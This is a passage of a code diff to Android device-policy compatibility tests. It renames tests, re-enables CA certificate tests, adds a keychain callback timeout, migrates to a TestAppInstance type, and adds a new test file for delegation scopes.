assertWithMessage("bundle0 size")
.that(bundle.size()).isEqualTo(8);
assertBooleanKey(bundle, "boolean_0", false);
assertBooleanKey(bundle, "boolean_1", true);
- assertIntKey(bundle, "integer", 0x7fffffff);
+ assertIntKey(bundle, "integer", 0xfffff);
assertStringKey(bundle, "empty", "");
- assertStringKey(bundle, "string", "text");
+ assertStringKey(bundle, "string", id);
assertStringsKey(bundle, "string[]", TEST_STRINGS);
Bundle childBundle = bundle.getBundle("bundle");
@@ -300,9 +456,9 @@
return value;
}
- private void assertNotEqualToBundle(Bundle value) {
+ private void assertNotEqualToBundle(String id, Bundle value) {
// This uses an arbitrary value from the test bundle
assertWithMessage("Bundle should not be equal to test bundle")
- .that(value.getInt("integer")).isNotEqualTo(0x7fffffff);
+ .that(value.getString("string")).isNotEqualTo(id);
}
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
index 429cc63..ada4b40 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CaCertManagementTest.java
@@ -36,7 +36,6 @@
import com.android.compatibility.common.util.FakeKeys;
import org.junit.ClassRule;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -54,6 +53,9 @@
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
+// These tests rely on the line "android:networkSecurityConfig="@xml/network_security_config"" in
+// the <application> element in the manifest.
+// TODO(b/205261115): Use a testapp and query for it rather than relying on the Manifest content
@RunWith(BedsteadJUnit4.class)
public class CaCertManagementTest {
@ClassRule
@@ -65,15 +67,14 @@
@Test
@CanSetPolicyTest(policy = CaCertManagement.class)
- public void testGetInstalledCaCerts_doesNotReturnNull() throws Exception {
+ public void getInstalledCaCerts_doesNotReturnNull() throws Exception {
assertThat(sDeviceState.dpc().devicePolicyManager().getInstalledCaCerts(
DPC_COMPONENT_NAME)).isNotNull();
}
@Test
- @Ignore("b/198641824): Fix failing check X509TrustManager#getTrustedIssuers")
@PositivePolicyTest(policy = CaCertManagement.class)
- public void testInstallCaCert_installsCaCert() throws Exception {
+ public void installCaCert_caCertIsInstalled() throws Exception {
RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
try {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -82,7 +83,7 @@
DPC_COMPONENT_NAME, CA_CERT_1);
assertThat(result).isTrue();
- assertCaCertInstalled(CA_CERT_1);
+ assertCaCertInstalledForTheDpcAndLocally(CA_CERT_1);
} finally {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
}
@@ -90,14 +91,13 @@
@Test
@PositivePolicyTest(policy = CaCertManagement.class)
- public void testInstallCaCert_logsEvent() throws Exception {
+ public void installCaCert_logsEvent() throws Exception {
RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
try {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
- try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
- remoteDpm.installCaCert(
- DPC_COMPONENT_NAME, CA_CERT_1);
+ try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+ remoteDpm.installCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
assertThat(metrics.query()
.whereType().isEqualTo(EventId.INSTALL_CA_CERT_VALUE)
@@ -112,7 +112,7 @@
@Test
@PositivePolicyTest(policy = CaCertManagement.class)
- public void testUninstallCaCert_uninstallsCaCert() throws Exception {
+ public void uninstallCaCert_caCertIsNotInstalled() throws Exception {
RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
try {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -120,7 +120,7 @@
remoteDpm.uninstallCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
- assertCaCertNotInstalled(CA_CERT_1);
+ assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_1);
} finally {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
}
@@ -128,8 +128,7 @@
@Test
@PositivePolicyTest(policy = CaCertManagement.class)
- @Ignore("b/198641824): Fix failing check X509TrustManager#getTrustedIssuers")
- public void testUninstallCaCert_onlyUninstallsRequestedCaCert() throws Exception {
+ public void uninstallCaCert_otherCaCertsAreNotUninstalled() throws Exception {
RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
try {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -138,8 +137,7 @@
remoteDpm.uninstallCaCert(DPC_COMPONENT_NAME, CA_CERT_1);
- assertCaCertInstalled(CA_CERT_2);
- assertCaCertNotInstalled(CA_CERT_1);
+ assertCaCertInstalledForTheDpcAndLocally(CA_CERT_2);
} finally {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
}
@@ -147,7 +145,7 @@
@Test
@PositivePolicyTest(policy = CaCertManagement.class)
- public void testUninstallCaCert_logsEvent() throws Exception {
+ public void uninstallCaCert_logsEvent() throws Exception {
RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
try {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
@@ -171,7 +169,7 @@
@Test
@PositivePolicyTest(policy = CaCertManagement.class)
- public void testUninstallAllUserCaCerts_uninstallsAllCaCerts()
+ public void uninstallAllUserCaCerts_uninstallsAllCaCerts()
throws Exception {
RemoteDevicePolicyManager remoteDpm = sDeviceState.dpc().devicePolicyManager();
try {
@@ -181,19 +179,19 @@
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
- assertCaCertNotInstalled(CA_CERT_1);
- assertCaCertNotInstalled(CA_CERT_2);
+ assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_1);
+ assertCaCertNotInstalledForTheDpcOrLocally(CA_CERT_2);
} finally {
remoteDpm.uninstallAllUserCaCerts(DPC_COMPONENT_NAME);
}
}
- private void assertCaCertInstalled(byte[] caBytes)
+ private void assertCaCertInstalledForTheDpcAndLocally(byte[] caBytes)
throws GeneralSecurityException {
assertCaCertInstalledAndTrusted(caBytes, /* installed= */ true);
}
- private void assertCaCertNotInstalled(byte[] caBytes)
+ private void assertCaCertNotInstalledForTheDpcOrLocally(byte[] caBytes)
throws GeneralSecurityException {
assertCaCertInstalledAndTrusted(caBytes, /* installed= */ false);
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
index baabdc7..c6f550f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -42,6 +42,7 @@
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.SlowApiTest;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.permissions.PermissionContext;
import com.android.compatibility.common.util.BlockingCallback;
@@ -66,6 +67,7 @@
import java.security.spec.PKCS8EncodedKeySpec;
import java.util.Arrays;
import java.util.List;
+import java.util.concurrent.TimeUnit;
@RunWith(BedsteadJUnit4.class)
public class CredentialManagementAppTest {
@@ -74,6 +76,7 @@
@Rule
public static final DeviceState sDeviceState = new DeviceState();
+ private static final int KEYCHAIN_CALLBACK_TIMEOUT_SECONDS = 600;
private static final PrivateKey PRIVATE_KEY =
getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
private static final Certificate CERTIFICATE =
@@ -277,6 +280,8 @@
@Test
@Postsubmit(reason = "b/181993922 automatically marked flaky")
+ @SlowApiTest(reason = "The KeyChain.choosePrivateKeyAlias API sometimes "
+ + "takes a long time to callback")
public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
setCredentialManagementApp();
@@ -291,7 +296,8 @@
/* keyTypes= */ null, /* issuers= */ null, URI, /* alias = */ null)
);
- assertThat(callback.await()).isEqualTo(ALIAS);
+ assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+ .isEqualTo(ALIAS);
} finally {
// Remove keypair as credential management app
sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS);
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
index 0fcf2dd..42453f3 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -49,7 +49,7 @@
import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import org.junit.ClassRule;
@@ -328,9 +328,9 @@
throws Exception {
RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
.devicePolicyManager();
- try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+ try (TestAppInstance personalApp = sCrossProfileTestApp.install(
sDeviceState.primaryUser());
- TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+ TestAppInstance workApp = sCrossProfileTestApp.install(
sDeviceState.workProfile())) {
profileOwner.setCrossProfilePackages(
sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -348,9 +348,9 @@
throws Exception {
RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
.devicePolicyManager();
- try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+ try (TestAppInstance personalApp = sCrossProfileTestApp.install(
sDeviceState.primaryUser());
- TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+ TestAppInstance workApp = sCrossProfileTestApp.install(
sDeviceState.workProfile())) {
profileOwner.setCrossProfilePackages(
sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -365,7 +365,7 @@
@RequireRunOnPrimaryUser
public void canRequestInteractAcrossProfiles_noOtherProfiles_returnsFalse()
throws Exception {
- try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+ try (TestAppInstance personalApp = sCrossProfileTestApp.install(
sDeviceState.primaryUser())) {
assertThat(personalApp.crossProfileApps().canRequestInteractAcrossProfiles()).isFalse();
@@ -380,9 +380,9 @@
throws Exception {
RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
.devicePolicyManager();
- try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+ try (TestAppInstance personalApp = sCrossProfileTestApp.install(
sDeviceState.primaryUser());
- TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+ TestAppInstance workApp = sCrossProfileTestApp.install(
sDeviceState.workProfile())) {
profileOwner.setCrossProfilePackages(
sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -400,7 +400,7 @@
throws Exception {
RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
.devicePolicyManager();
- try (TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+ try (TestAppInstance workApp = sCrossProfileTestApp.install(
sDeviceState.workProfile())) {
profileOwner.setCrossProfilePackages(
sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -417,7 +417,7 @@
throws Exception {
RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
.devicePolicyManager();
- try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+ try (TestAppInstance personalApp = sCrossProfileTestApp.install(
sDeviceState.primaryUser())) {
profileOwner.setCrossProfilePackages(
sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -435,9 +435,9 @@
throws Exception {
RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
.devicePolicyManager();
- try (TestAppInstanceReference personalApp = sNonCrossProfileTestApp.install(
+ try (TestAppInstance personalApp = sNonCrossProfileTestApp.install(
sDeviceState.primaryUser());
- TestAppInstanceReference workApp = sNonCrossProfileTestApp.install(
+ TestAppInstance workApp = sNonCrossProfileTestApp.install(
sDeviceState.workProfile())) {
profileOwner.setCrossProfilePackages(
sDeviceState.profileOwner(WORK_PROFILE).componentName(),
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
index b7038b5..72e33c0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
@@ -46,7 +46,7 @@
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.remotedpc.RemoteDpc;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
@@ -107,7 +107,7 @@
// Enforce the restriction and wait for it to be applied.
setSharingIntoProfileEnabled(false);
// Test app handles android.intent.action.PICK just in case no other app does.
- try (TestAppInstanceReference testAppParent =
+ try (TestAppInstance testAppParent =
sTestApp.install(sDeviceState.primaryUser())) {
// Verify that the intents don't resolve into cross-profile forwarder.
assertCrossProfileIntentsResolvability(OPENING_INTENTS,
@@ -133,7 +133,7 @@
setSharingIntoProfileEnabled(true);
// Test app handles android.intent.action.PICK just in case no other app does.
- try (TestAppInstanceReference testAppParent =
+ try (TestAppInstance testAppParent =
sTestApp.install(sDeviceState.primaryUser())) {
// Verify that the intents resolve into cross-profile forwarder.
assertCrossProfileIntentsResolvability(
@@ -190,7 +190,7 @@
*/
private ResolveInfo getResolveInfo(UserReference targetProfile, int direction) {
ResolveInfo forwarderInfo;
- try (TestAppInstanceReference testApp = sTestApp.install(targetProfile)) {
+ try (TestAppInstance testApp = sTestApp.install(targetProfile)) {
// Set up cross profile intent filters so we can resolve these to find out framework's
// intent forwarder activity as ground truth
sDeviceState.profileOwner(WORK_PROFILE).devicePolicyManager()
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
index 227ea18..ddd7eeb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
@@ -37,9 +37,9 @@
import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
import com.android.bedstead.harrier.policies.DefaultSmsApplication;
import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import org.junit.Before;
@@ -71,8 +71,8 @@
@Before
public void setUp() {
- RemoteDpc dpc = sDeviceState.dpc();
- mAdmin = dpc.devicePolicyController().componentName();
+ RemotePolicyManager dpc = sDeviceState.dpc();
+ mAdmin = dpc.componentName();
mDpm = dpc.devicePolicyManager();
mTelephonyManager = sContext.getSystemService(TelephonyManager.class);
}
@@ -84,10 +84,10 @@
public void setDefaultSmsApplication_works() {
assumeTrue(mTelephonyManager.isSmsCapable());
String previousSmsAppName = getDefaultSmsPackage();
- try (TestAppInstanceReference smsApp = sSmsApp.install()) {
- mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName());
+ try (TestAppInstance smsApp = sSmsApp.install()) {
+ mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
- assertThat(getDefaultSmsPackage()).isEqualTo(smsApp.testApp().packageName());
+ assertThat(getDefaultSmsPackage()).isEqualTo(smsApp.packageName());
} finally {
mDpm.setDefaultSmsApplication(mAdmin, previousSmsAppName);
}
@@ -100,8 +100,8 @@
public void setDefaultSmsApplication_unchanged() {
assumeTrue(mTelephonyManager.isSmsCapable());
String previousSmsAppName = getDefaultSmsPackage();
- try (TestAppInstanceReference smsApp = sSmsApp.install()) {
- mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName());
+ try (TestAppInstance smsApp = sSmsApp.install()) {
+ mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
assertThat(getDefaultSmsPackage()).isEqualTo(previousSmsAppName);
} finally {
@@ -130,11 +130,11 @@
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_nullAdmin_throwsException() {
- try (TestAppInstanceReference smsApp = sSmsApp.install()) {
+ try (TestAppInstance smsApp = sSmsApp.install()) {
assertThrows(NullPointerException.class, () ->
mDpm.setDefaultSmsApplication(
- /* admin= */ null, smsApp.testApp().packageName()));
+ /* admin= */ null, smsApp.packageName()));
}
}
@@ -145,8 +145,8 @@
public void setDefaultSmsApplication_notSmsCapable_unchanged() {
assumeTrue(!mTelephonyManager.isSmsCapable());
String previousSmsAppName = getDefaultSmsPackage();
- try (TestAppInstanceReference smsApp = sSmsApp.install()) {
- mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName());
+ try (TestAppInstance smsApp = sSmsApp.install()) {
+ mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
assertThat(getDefaultSmsPackage()).isEqualTo(previousSmsAppName);
} finally {
@@ -156,12 +156,13 @@
@Test
@Postsubmit(reason = "new test")
- @CannotSetPolicyTest(policy = DefaultSmsApplication.class)
+ // We don't include non device admin states as passing a null admin is a NullPointerException
+ @CannotSetPolicyTest(policy = DefaultSmsApplication.class, includeNonDeviceAdminStates = false)
public void setDefaultSmsApplication_invalidAdmin_throwsException() {
- try (TestAppInstanceReference smsApp = sSmsApp.install()) {
+ try (TestAppInstance smsApp = sSmsApp.install()) {
assertThrows(SecurityException.class, () ->
- mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName()));
+ mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName()));
}
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java
new file mode 100644
index 0000000..68e9558
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java
@@ -0,0 +1,452 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
+import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
+import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
+import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
+
+import static com.android.queryable.queries.StringQuery.string;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.IntentFilter;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.Delegation;
+import com.android.bedstead.harrier.policies.NetworkLoggingDelegation;
+import com.android.bedstead.harrier.policies.SecurityLoggingDelegation;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.eventlib.truth.EventLogsSubject;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Tests that delegation scopes can be correctly set via {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)}, and that subsequent access
+ * and app notification works correctly.
+ */
+@RunWith(BedsteadJUnit4.class)
+@Postsubmit(reason = "new test")
+// TODO(b/198584060): clean up the TestApp install API surface and remove the
+// requirement to manually uninstall or use the 'try' block.
+public class DelegationScopesTest {
+
+ private static final String TEST_SCOPE = DELEGATION_CERT_INSTALL;
+ private static final String TEST_SCOPE_2 = DELEGATION_APP_RESTRICTIONS;
+
+ @ClassRule @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
+
+ private static final TestApis sTestApis = new TestApis();
+ private static final UserReference sUser = sTestApis.users().instrumented();
+
+ private static final TestApp sTestAppProvider =
+ new TestAppProvider().query().whereActivities().isNotEmpty().get();
+ private static final TestApp sTestAppProvider2 = new TestAppProvider().any();
+
+ @Test
+ @PositivePolicyTest(policy = Delegation.class)
+ public void getDelegatedScopes_returnsFromSetDelegatedScopes() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName()))
+ .containsExactly(TEST_SCOPE, TEST_SCOPE_2);
+ } finally {
+ resetDelegatedScopes(testApp);
+ }
+ }
+ }
+
+ @Test
+ @CannotSetPolicyTest(policy = Delegation.class)
+ public void setDelegatedScopes_invalidAdmin_throwsSecurityException() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ assertThrows(SecurityException.class, () ->
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Arrays.asList(TEST_SCOPE, TEST_SCOPE_2)));
+ }
+ }
+
+ @Test
+ @CannotSetPolicyTest(policy = Delegation.class)
+ public void getDelegatedScopes_invalidAdmin_throwsSecurityException() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ assertThrows(SecurityException.class, () ->
+ sDeviceState.dpc().devicePolicyManager().getDelegatedScopes(
+ sDeviceState.dpc().componentName(), testApp.testApp().packageName()));
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = Delegation.class)
+ public void getDelegatedScopes_returnsLatestFromSetDelegatedScopes() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(TEST_SCOPE));
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(TEST_SCOPE_2));
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName()))
+ .containsExactly(TEST_SCOPE_2);
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ }
+ }
+ }
+
+ @Test
+ @CanSetPolicyTest(policy = Delegation.class)
+ public void setDelegatedScopes_uninstalledPackage_throwsExceptionWithoutChangingState() {
+ // This test cannot be split into two without ErrorProne complaining that an Exception is
+ // being caught without a fail() on the second test.
+ String uninstalledPackage = "uninstalled_package_name";
+ assertThrows(Exception.class, () ->
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ uninstalledPackage,
+ Collections.singletonList(TEST_SCOPE)));
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(sDeviceState.dpc().componentName(), uninstalledPackage))
+ .isEmpty();
+ }
+
+ @Test
+ @PositivePolicyTest(policy = Delegation.class)
+ public void getDelegatePackages_oneApp_twoScopes_returnsFromSetDelegatedScopes() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+ .containsExactly(testApp.testApp().packageName());
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE_2))
+ .containsExactly(testApp.testApp().packageName());
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ }
+ }
+ }
+
+ @Test
+ @CannotSetPolicyTest(policy = Delegation.class)
+ public void getDelegatePackages_invalidAdmin_throwsSecurityException() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ assertThrows(SecurityException.class, () ->
+ sDeviceState.dpc().devicePolicyManager().getDelegatePackages(
+ sDeviceState.dpc().componentName(), testApp.testApp().packageName()));
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = Delegation.class)
+ public void getDelegatePackages_twoApps_differentScopes_returnsFromSetDelegatedScopes() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+ TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(TEST_SCOPE));
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName(),
+ Collections.singletonList(TEST_SCOPE_2));
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+ .containsExactly(testApp.testApp().packageName());
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE_2))
+ .containsExactly(testApp2.testApp().packageName());
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ resetDelegatedScopes(testApp2);
+ }
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = Delegation.class)
+ public void getDelegatePackages_twoApps_sameScope_returnsFromSetDelegatedScopes() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+ TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(TEST_SCOPE));
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName(),
+ Collections.singletonList(TEST_SCOPE));
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+ .containsExactly(
+ testApp.testApp().packageName(),
+ testApp2.testApp().packageName());
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ resetDelegatedScopes(testApp2);
+ }
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = NetworkLoggingDelegation.class)
+ public void setDelegatedScopes_networkLogging_validAdminType_noException() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+ } finally {
+ resetDelegatedScopes(testApp);
+ }
+ }
+ }
+
+ @Test
+ @CannotSetPolicyTest(policy = NetworkLoggingDelegation.class)
+ public void setDelegatedScopes_networkLogging_invalidAdminType_throwsSecurityException() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ try {
+ assertThrows(SecurityException.class, () ->
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(DELEGATION_NETWORK_LOGGING)));
+ } finally {
+ resetDelegatedScopes(testApp);
+ }
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = SecurityLoggingDelegation.class)
+ // TODO(b/198774281): add a negative policy test (in line with all the others here) once we can
